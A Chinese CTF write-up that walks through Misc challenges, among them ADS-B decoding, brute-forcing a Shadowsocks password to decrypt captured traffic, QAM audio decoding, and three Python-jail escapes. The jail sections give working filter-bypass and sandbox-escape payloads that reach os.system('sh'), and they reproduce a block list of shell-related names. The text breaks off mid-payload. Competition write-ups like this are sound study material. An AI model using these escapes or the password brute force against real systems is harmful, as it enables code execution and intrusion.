本文最后更新于 296 天前,其中的信息可能已经有所发展或是发生改变。
被密码✌强势带飞,被空白✌jail摁着摩擦
好好好,周末两天白打了,这wp就是个纪念了
Misc
Easyfuzz
- pwntools 硬爆
from pwn import *
import string
a = string.ascii_lowercase
ans = ["0"]*9
io = remote("xxx.xxx.xxx.xxx", port)
maxn = 2
for i in range(9):
for j in a:
ans[i] = j
ans2 = "".join(ans)
text = io.recvuntil(b"10 bytes):")
io.sendline(ans2.encode())
text = io.recvline()
#print(text)
n = text.split(b":")[1].count(b"1")
print(n)
if(n > maxn):
maxn = n
print(ans)
break
谍影重重2.0
题目描述
小明是某间谍组织的一员,他终日监听着我国某重点军事基地的飞行动态,妄图通过分析参数找到我国飞的最快的飞机。我国费尽千辛万苦抓住了他,并在他的电脑上找到了一段他监听的信息,请分析出这段信息中飞的最快的飞机。格式为flag{md5(ICAO CODE of the fastest plane)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构,切勿当真
ADS-B
https://mode-s.org/decode/content/ads-b/1-basics.html
- 提取出tcp的payload,选择pyaload并应用为列,导出分组解析结果
- 使用pyModeS解析数据,并且提取出最大速度的飞机
import pyModeS as pms
data = open("data.csv", "r", encoding="utf-8").read().split("\n")[1:-1]
data = [i.split(",") for i in data]
data = [i[6].strip('""') for i in data if i[6] != '""']
cccc = []
for i in data:
line = i[18:]
b = pms.typecode(line)
print(pms.tell(line))
if b == 19:
cccc.append(pms.adsb.velocity(line))
cccc.sort(key=lambda x: x[0])
print(cccc)
- output
[(142, 49.267893300290815, -768, 'GS'), (143, 48.66418432074072, -768, 'GS'), (143, 48.66418432074072, -768, 'GS'), (144, 48.92590770368398, -768, 'GS'), (145, 48.628532155436424, -768, 'GS'), (145, 48.628532155436424, -768, 'GS'), (147, 48.85063882391076, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (150, 18.555065585131956, -384, 'GS'), (150, 18.555065585131956, -448, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.77819770716159, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (153, 49.47946045235028, -832, 'GS'), (153, 49.23639479905884, -768, 'GS'), (154, 19.25507778928384, -192, 'GS'), (154, 19.25507778928384, -192, 'GS'), (156, 17.50716304846033, -640, 'GS'), (156, 17.049030972109822, -576, 'GS'), (159, 18.321040862628898, -448, 'GS'), (160, 18.208484470580824, -448, 'GS'), (160, 48.780568534301096, -768, 'GS'), (160, 48.54476645559488, -768, 'GS'), (163, 18.5457722427678, -448, 'GS'), (371, 213.3474959459136, -64, 'GS')]
- 最大速度为371,则flag{md5(79A05E)}为
Message: 8d79a05e990ccda6f80886dd9544
ICAO address: 79a05e
Downlink Format: 17
Protocol: Mode-S Extended Squitter (ADS-B)
Type: Airborne velocity
Speed: 371 knots
Track: 213.3474959459136 degrees
Vertical rate: -64 feet/minute
Type: Ground speed
谍影重重3.0
题目描述
小明被我国抓获之后对所作所为供认不讳,在对他个人电脑监控的过程中,发现存在通过特殊隧道获取境外组织下发的任务文件,请你协助分析出他所获取到的任务文件名称。
flag提交格式为flag{md5(文件名)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构内容,如有雷同,切勿当真!
相关链接
- 挺“敏感”的一个题,要求解析shadowsocks流量的文件名
密钥生成
根据密码生成密钥,由于和客户端拥有相同的密码和密钥生成算法,所以生成的AES-256-cfb密钥也是一样的
- 尝试进行弱口令爆破,稍微修改一下
shadowsocks
的加解密源代码
import os
import sys
import hashlib
from shadowsocks.crypto import rc4_md5, openssl, mbedtls, sodium, table
CIPHER_ENC_ENCRYPTION = 1
CIPHER_ENC_DECRYPTION = 0
METHOD_INFO_KEY_LEN = 0
METHOD_INFO_IV_LEN = 1
METHOD_INFO_CRYPTO = 2
method_supported = {}
method_supported.update(rc4_md5.ciphers)
method_supported.update(openssl.ciphers)
method_supported.update(mbedtls.ciphers)
method_supported.update(sodium.ciphers)
method_supported.update(table.ciphers)
def random_string(length):
return os.urandom(length)
cached_keys = {}
def to_bytes(s):
if bytes != str:
if type(s) == str:
return s.encode('utf-8')
return s
def try_cipher(key, method=None, crypto_path=None):
Cryptor(key, method, crypto_path)
def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
cached_key = '%s-%d-%d' % (password, key_len, iv_len)
r = cached_keys.get(cached_key, None)
if r:
return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
cached_keys[cached_key] = (key, iv)
return key, iv
class Cryptor(object):
def __init__(self, password, method, crypto_path=None):
"""
Crypto wrapper
:param password: str cipher password
:param method: str cipher
:param crypto_path: dict or none
{'openssl': path, 'sodium': path, 'mbedtls': path}
"""
self.password = password
self.key = None
self.method = method
self.iv_sent = False
self.cipher_iv = b''
self.decipher = None
self.decipher_iv = None
self.crypto_path = crypto_path
method = method.lower()
self._method_info = Cryptor.get_method_info(method)
if self._method_info:
self.cipher = self.get_cipher(
password, method, CIPHER_ENC_ENCRYPTION,
random_string(self._method_info[METHOD_INFO_IV_LEN])
)
else:
sys.exit(1)
@staticmethod
def get_method_info(method):
method = method.lower()
m = method_supported.get(method)
return m
def iv_len(self):
return len(self.cipher_iv)
def get_cipher(self, password, method, op, iv):
password = to_bytes(password)
m = self._method_info
if m[METHOD_INFO_KEY_LEN] > 0:
key, _ = EVP_BytesToKey(password,
m[METHOD_INFO_KEY_LEN],
m[METHOD_INFO_IV_LEN])
else:
# key_length == 0 indicates we should use the key directly
key, iv = password, b''
self.key = key
iv = iv[:m[METHOD_INFO_IV_LEN]]
if op == CIPHER_ENC_ENCRYPTION:
# this iv is for cipher not decipher
self.cipher_iv = iv
return m[METHOD_INFO_CRYPTO](method, key, iv, op, self.crypto_path)
def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.encrypt(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.encrypt(buf)
def decrypt(self, buf):
if len(buf) == 0:
return buf
if self.decipher is None:
decipher_iv_len = self._method_info[METHOD_INFO_IV_LEN]
decipher_iv = buf[:decipher_iv_len]
self.decipher_iv = decipher_iv
self.decipher = self.get_cipher(
self.password, self.method,
CIPHER_ENC_DECRYPTION,
decipher_iv
)
buf = buf[decipher_iv_len:]
if len(buf) == 0:
return buf
return self.decipher.decrypt(buf)
def gen_key_iv(password, method):
method = method.lower()
(key_len, iv_len, m) = method_supported[method]
if key_len > 0:
key, _ = EVP_BytesToKey(password, key_len, iv_len)
else:
key = password
iv = random_string(iv_len)
return key, iv, m
def encrypt_all_m(key, iv, m, method, data, crypto_path=None):
result = [iv]
cipher = m(method, key, iv, 1, crypto_path)
result.append(cipher.encrypt_once(data))
return b''.join(result)
def decrypt_all(password, method, data, crypto_path=None):
result = []
method = method.lower()
(key, iv, m) = gen_key_iv(password, method)
iv = data[:len(iv)]
data = data[len(iv):]
cipher = m(method, key, iv, CIPHER_ENC_DECRYPTION, crypto_path)
result.append(cipher.decrypt_once(data))
return b''.join(result), key, iv
def encrypt_all(password, method, data, crypto_path=None):
result = []
method = method.lower()
(key, iv, m) = gen_key_iv(password, method)
result.append(iv)
cipher = m(method, key, iv, CIPHER_ENC_ENCRYPTION, crypto_path)
result.append(cipher.encrypt_once(data))
return b''.join(result)
CIPHERS_TO_TEST = [
'aes-256-cfb',
]
if __name__ == '__main__':
a = "e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206"
cipher = bytes.fromhex(a)
f = open("rockyou.txt","rb").readlines()
for i in f:
key = i[:-1]
plain2, key, iv = decrypt_all(key, 'aes-256-cfb', cipher)
if(b"HTTP" in plain2):
print(plain2)
- 这样就看可以得到解密后的流量,还有个重要的问题,shadowsocks是什么东西?有啥用?
WABBY Wabbo Radio
比赛时的一点儿乐趣来源,虽然引起了队友的烦躁(狗头
题目描述
歪比八卜
- html中请求了一些音频,仔细听发现有
morsecode
- hint1.wav
DOYOUKNOWQAM?
- hint2.wav
MAYBEFLAGISPNGPICTURE
- 还有个flag.wav,就不是
morsecode
了,QAM是什么?
import libnum
f = open("flag.wav","rb").read()
f = f[88:]
res = ""
for i in range(3,len(f),4):
if(f[i] == 63):
res += "10"
elif(f[i] == 192):
res += "00"
elif(f[i] == 191):
res += "01"
else:
res += "11"
fw = open("1.png","wb")
fw.write(libnum.b2s(res))
- cjj nb!!!yyds!!!
HAPPY CHESS
- 没啥说的,算法题,和网上常见的棋盘反转不太一样,选择一点后同时反转其所在的行和列
Welcome to Happy Chess!
The rule is to select a piece and flip all the pieces horizontally and vertically ~
Your goal is to change all the pieces to the same color ~
You will play 10 rounds of the game, and you can get the flag if your total number of moves is no more than 239 ~
If you fail in a round, it will be directly regarded as using 240 steps :)
Have fun ~
- exp.py from cjj !!!
import gurobipy as gp
from gurobipy import GRB
from pwn import *
maxn = 9
def cul(n,data):
# create the model object
model = gp.Model("Flap Game")
# define decision variables
x = {}
y = {}
for i in range(0, maxn+2):
for j in range(0, maxn+2):
if i < 1 or i > maxn or j < 1 or j > maxn:
x[i, j] = model.addVar(vtype=GRB.BINARY, ub=0, name=f"x_{i}_{j}")
else:
x[i, j] = model.addVar(vtype=GRB.BINARY, name=f"x_{i}_{j}")
y[i, j] = model.addVar(vtype=GRB.INTEGER, name=f"y_{i}_{j}")
# set the objective function
model.setObjective(gp.quicksum(x[i, j] for i in range(1, maxn+1) for j in range(1, maxn+1)), GRB.MINIMIZE)
# add the constraint x[i, j] + x[i-1, j] + x[i+1, j] + x[i, j-1] + x[i, j+1] = 2*y[i, j] + 1
for i in range(1, maxn+1):
for j in range(1, maxn+1):
if(n):
if(data[i-1][j-1] == 0):
model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j]== 2*y[i, j] + 1)
else:
model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j])
else:
if(data[i-1][j-1] == 1):
model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j] + 1)
else:
model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j])
# optimize the model
model.Params.outputFlag = 0
model.optimize()
# print the results
ans = []
if model.status == GRB.OPTIMAL:
for i in range(1, maxn+1):
for j in range(1, maxn+1):
if(x[i, j].x == 1.0):
ans.append(f"{i} {j}")
elif(x[i, j].x != 0.0):
print(x[i, j].x)
return int(model.objVal),ans
else:
return 0,[]
io = remote("47.104.199.71", 10075)
text = io.recvuntil(b">")
print(text)
io.sendline(b'icq234edf69a7ddef70dbd8f0051e94c')
text = io.recvlines(10)
print(text)
for n in range(10):
data = [[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]]
text = io.recvline()
print(text)
text = io.recvlines(9)
print(text)
for i in range(9):
res = text[i].replace(b"\xe2\x97\x8f",b"0").replace(b"\xe2\x97\x8b",b"1").decode()
print(res)
for j in range(9):
data[i][j] = int(res[j])
print(data)
ans1 = cul(1,data)
print(ans1)
ans2 = cul(0,data)
print(ans2)
if(ans1[0] != 0 and ans2[0] != 0):
if(ans1[0] < ans2[0]):
ans = ans1
else:
ans = ans2
elif(ans1[0] != 0):
ans = ans1
elif(ans2[0] != 0):
ans = ans2
print(ans)
for i in range(ans[0]):
text = io.recvuntil(b">")
#print(text)
io.sendline(ans[1][i])
text = io.recvuntil(b"Success")
print(text)
text = io.recvlines(2)
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
Pyjail ! It’s myFILTER !!!
题目描述
你能否能帮助她绕过filter呢?是时候拿出真本事!提示:本题需要一定的成功率,如果你认为你的payload能够工作,请多尝试几遍!
- 非预期了,经典环境变量
{print(open("/proc/1/environ").read())}
- server.py,简简单单把后端搞下来,以后玩 :)
import code, os, subprocess
import pty
WELCOME = '''
_____ _ _ _ _ _____ _ _ ______ _____ _ _______ ______ _____ _ _
| __ \ (_) (_) | | | |_ _| | ( ) | ____|_ _| | |__ __| ____| __ \ | | |
| |__) | _ _ __ _ _| | | | | | | |_|/ ___ _ __ ___ _ _| |__ | | | | | | | |__ | |__) | | | |
| ___/ | | || |/ _` | | | | | | | | __| / __| | '_ ` _ \| | | | __| | | | | | | | __| | _ / | | |
| | | |_| || | (_| | | | |_| _| |_| |_ \__ \ | | | | | | |_| | | _| |_| |____| | | |____| | \ \ |_|_|
|_| \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, |_| |_____|______|_| |______|_| \_\ (_|_)
__/ |/ | __/ |
|___/__/ |___/
'''
SOURCE_CODE = '''
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]
def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True
while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")
'''
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del os, subprocess, code, pty, blacklist_fun_callback
print(WELCOME)
print("Python Version:python3.10")
print("Source Code:")
print(SOURCE_CODE)
input_code = input("Can u input your code to escape > ")
blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]
def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True
while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please bypass my filter !")
Pyjail ! It’s myRevenge !!!
题目描述
你能否能帮助她绕过filter呢?是时候拿出真本事!提示:本题需要一定的成功率,如果你认为你的payload能够工作,请多尝试几遍!
- 上一题的复仇版本,主题思想很简单,通过删除环境变量中的过滤函数和其他限制,为最后的poc扫除障碍,比赛的时候还是尝试看看有没有能漏的地方,试着读一下
/start.sh
#!/bin/sh
# Add your startup script
# # CMD sed -i "s/FLAG/$ICQ_FLAG/" /home/ctf/flag* && unset ICQ_FLAG && rm -rf /etc/profile.d/pouchenv.sh && rm -rf /etc/instanceInfo && socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server.py",pty,stderr,setsid,sane,raw,echo=0
# FLAG_PATH=/flag
FLAG_PATH=/home/ctf/flag_`hexdump -n 32 -v -e '/1 "%02X"' /dev/urandom`
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=755 # 娉ㄦ剰杩欓噷鐨勬潈闄愶紝flag鐨勬潈闄愪竴瀹氳娉ㄦ剰锛屾槸鎵€鏈夌敤鎴峰彲璇伙紝杩樻槸鍙湁root鍙
chmod ${FILE_MODE} ${FLAG_PATH}
;;
"M_SED")
#sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
;;
"M_SQL")
# sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
# mysql -uroot -proot < ${FLAG_PATH}
;;
*)
;;
esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi
#del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo
#clear fd
rm -rf /start.sh /root/start.sh
socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server_8F6C72124774022B.py",pty,stderr,setsid,sane,raw,echo=0 &
exec tail -f /dev/null
- 没啥用,回归主线,全局变量本质上就是个字典,所有的全局变量都以键值对的形式存储,那么可以在每次的payload中替换掉一个全局变量
Python 3.10.10 (tags/v3.10.10:aad5f6a, Feb 7 2023, 17:20:36) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> def test():
... print("1")
...
>>> test()
1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'b uiltins' (built-in)>, 'test': <function test at 0x0000020DCB683E20>}
>>> globals().update(test=lambda :print("2"))
>>> test()
2
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'b uiltins' (built-in)>, 'test': <function <lambda> at 0x0000020DCB7AEB90>}
>>>
- 可行,接下来则是通过
input
来获取第二次的payload,虽然存在过滤,但是我们可以通过人为闭合单引号来绕过过滤
# 最终执行的代码
eval(f"f'{input_code}'")
- 假设我们的输入为
{print()}''{input()}
- 则执行的语句为
eval("f'{print()}''{input()}'")
- 就可以让他分别执行,因为过滤了字符串
input
,则可以采用拼接的方式绕过,现在的输入为
{print()}''{inpu''t()}'#
- 则执行的语句为
eval("f'{print()}''{inpu''t()}'#'")
- 等同于
eval("f'{print()}' + '{inpu' + 't()}'#'")
- 则会执行
print()
和'{input' + 't}'
,得到
None{input()}
- 因为是while循环,上一次循环的结果被带入一下次作为输入,则再执行
eval("f'None{input()}'")
- 此时
input()
被执行,接收新的输入进入后续循环 - 使
my_filter()
失效
{globals().update(dict(my_filter=lambda x:1))}''{inpu''t()}'#
- 使
len()
失效,取消长度限制
{globals().update(dict(len=lambda x:0))}''{inpu''t()}'#
- 导入
os
,列出当前目录(看来start.sh还是有点儿用的,起码告诉我flag就在本目录
{print("".__class__.__base__.__subclasses__()[180].__init__.__globals__["listdir"]("."))}''{inpu''t()}'#
- 读flag
{print(open("flag_9C9DDF69F9BE0507C92049221919609C6970C866C00877CC7639EB2E8F13E5DF").read())}
Pyjail ! It’s myAST !!!!
有点儿颠的题目描述
至少见一面让我当面道歉好吗?(╥﹏╥)
我也吓了一跳,没想到事情会演变成那个样子…(╥﹏╥)
所以我想好好说明一下(╥﹏╥)
我要是知道就会阻止她们的,但是明明已经被AST检测过的代码还是执行了(╥﹏╥)
没能阻止大家真是对不起…(╥﹏╥)
你在生气对吧…(╥﹏╥)
我想你生气也是当然的(╥﹏╥)
但是请你相信我。user_input,本来不会通过我们预期的is_safe函数(╥﹏╥)
真的很对不起(╥﹏╥)
我答应你再也不会放人选手执行任意代码了(╥﹏╥)
我会让保证没有代码可以绕过我的AST过滤(╥﹏╥)
能不能稍微谈一谈?(╥﹏╥)
我真的把python AST的一切看得非常重要(╥﹏╥)
所以说,当代码被bypass的时候我和你一样难过(╥﹏╥)
我希望你能明白我的心情(╥﹏╥)
拜托了。我哪里都会去的(╥﹏╥)
我也会好好跟你说明我这么做的理由(╥﹏╥)
我想如果你能见我一面,你就一定能明白的(╥﹏╥)
我是你的同伴(╥﹏╥)
我好想见你(╥﹏╥)
(neta from hackergame2023)
挽留无果后,现在is_safe函数变得更加困难.你能通过层层检查拿到flag吗?
- 先对过滤的
ast
做个解释,具体看python文档
BAD_ATS = {
ast.Attribute, # 属性访问
ast.Subscript, # 抽取操作 i[0]
ast.comprehension, # i for i in a
ast.Delete, # del 语句
ast.Try, # try 代码块
ast.For, # for 循环
ast.ExceptHandler, # Except 语句
ast.With, # with 语句
ast.Import, # import
ast.ImportFrom, # from ... import ...
ast.Assign, # 赋值
ast.AnnAssign, # 一次带有类型标注的赋值,注解 a: int = 1
ast.Constant, # 常量,"a", 1
ast.ClassDef, # 定义类
ast.AsyncFunctionDef, # 定义协程
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
"print": print
}
- 其中赋值这个操作很好绕过,用
:=
即可
str(a := object)
- 这个题的主要思想在于通过
match case
实现去取属性,同时也能赋值,同时绕过两个ast,血赚好吧(
- 在官方文档中,
match
有8种匹配模式
ast.MatchValue
:匹配值
match test:
case "Test-Value":
pass
ast.MatchSingleton
:匹配单例对象,None
,True
,False
match test:
case None:
pass
ast.MatchSequence
:匹配序列(list),变长或固定长序列
match test:
# 固定长序列
case [1, 2]:
pass
# 变长序列
case [1, 2, *rest]:
pass
ast.MatchStar
:匹配变长序列中的剩余部分
match test:
# 剩余序列被赋值给rest
case [1, 2, *rest]:
pass
case [*_]:
pass
ast.MatchMapping
:匹配映射(dict)
match test:
# 此时 a 将会被赋值为 test["test"]
case {"test": a}:
pass
ast.MatchClass
:匹配类(class),在这道题中至关重要
match test:
case Test(a=0):
pass
ast.MatchAs
:匹配 As,算是可以赋值
match test:
case 0 as a:
print(a)
ast.MatchOr
:匹配 Or,或,匹配多个目标,一个成功即成功
match test:
case 0 | 1:
pass
- 在这个题目中,因为过滤了
ast.Attribute
,致使我们无法直接获取类属性,以达到RCE,此时,就可以通过ast.MatchClass
搭配ast.MatchAs
获取到变量的属性;以object
类为起点找os
库
match object:
case object(__class__=cl):
pass
print(cl)
- 因为过滤了
__
,所以此处利用__
绕过,此时即获取到object.__class__
并且赋值为cl
- 注意,
__class__
的左侧双下划线必须为__
,否则将无法normalize
- 同时,在向服务端发送payload时,因windows的问题,手动输入的
__
将无法被执行,必须使用Linux或者pwntools发送payload
- 注意,
- 在这个payload中,涉及到两个匹配模式,
MatchClass
和MatchAs
- 当
__class__=
一个常量时,将会变为MatchValue
的子匹配
- 当
from ast import dump, parse
print(dump(parse("""
match object:
case object(__class__=cl):
pass
"""), indent=4))
"""
Module(
body=[
Match(
subject=Name(id='object', ctx=Load()),
cases=[
match_case(
pattern=MatchClass(
cls=Name(id='object', ctx=Load()),
patterns=[],
kwd_attrs=[
'__class__'],
kwd_patterns=[
MatchAs(name='cl')]),
body=[
Pass()])])],
type_ignores=[])
"""
- 以此类推,我们可以一直获取到
system
函数- 在调用
__subclasses__()
后,我们得到的是一个list
,因为无法使用ast.Subscript
,可以使用list.pop()
弹出需要的值- 因为无法使用常量,所以此时不能直接pop(num),可以使用
True(() == ())
代替1
计算出数值
- 因为无法使用常量,所以此时不能直接pop(num),可以使用
- 在调用
- 但是最终执行
system
时参数为字符串,目前我们还没能获取到字符串常量(虽然可以通过chr()
转换出字符串,但是还存在长度限制)
- 空白✌的做法:利用环境变量中的
__doc__
,通过MatchSequence
,获取到对应的字符并存为变量
>>> object.__doc__
'The base class of the class hierarchy.\n\nWhen called, it accepts no arguments and returns a new featureless\ninstance that has no instance attributes and cannot be given any.\n'
>>>
- 取字符
match str:
case object(__doc__=dc):
match list(dc):
case [_,t,r,_,o,b,_,_,c,_,_,_,_,_,_,_,_,space,s,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_l,_,u,f,_,_,_,_,_,_,_,n,_,_,d,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,a,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,x,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,l,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,i,_,g,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,dot]:
pass
- 后续执行
sh
调用命令行则可以
system(s+h)
- 完整payload from 空白✌
match str:
case object(__doc__=dc):
match list(dc):
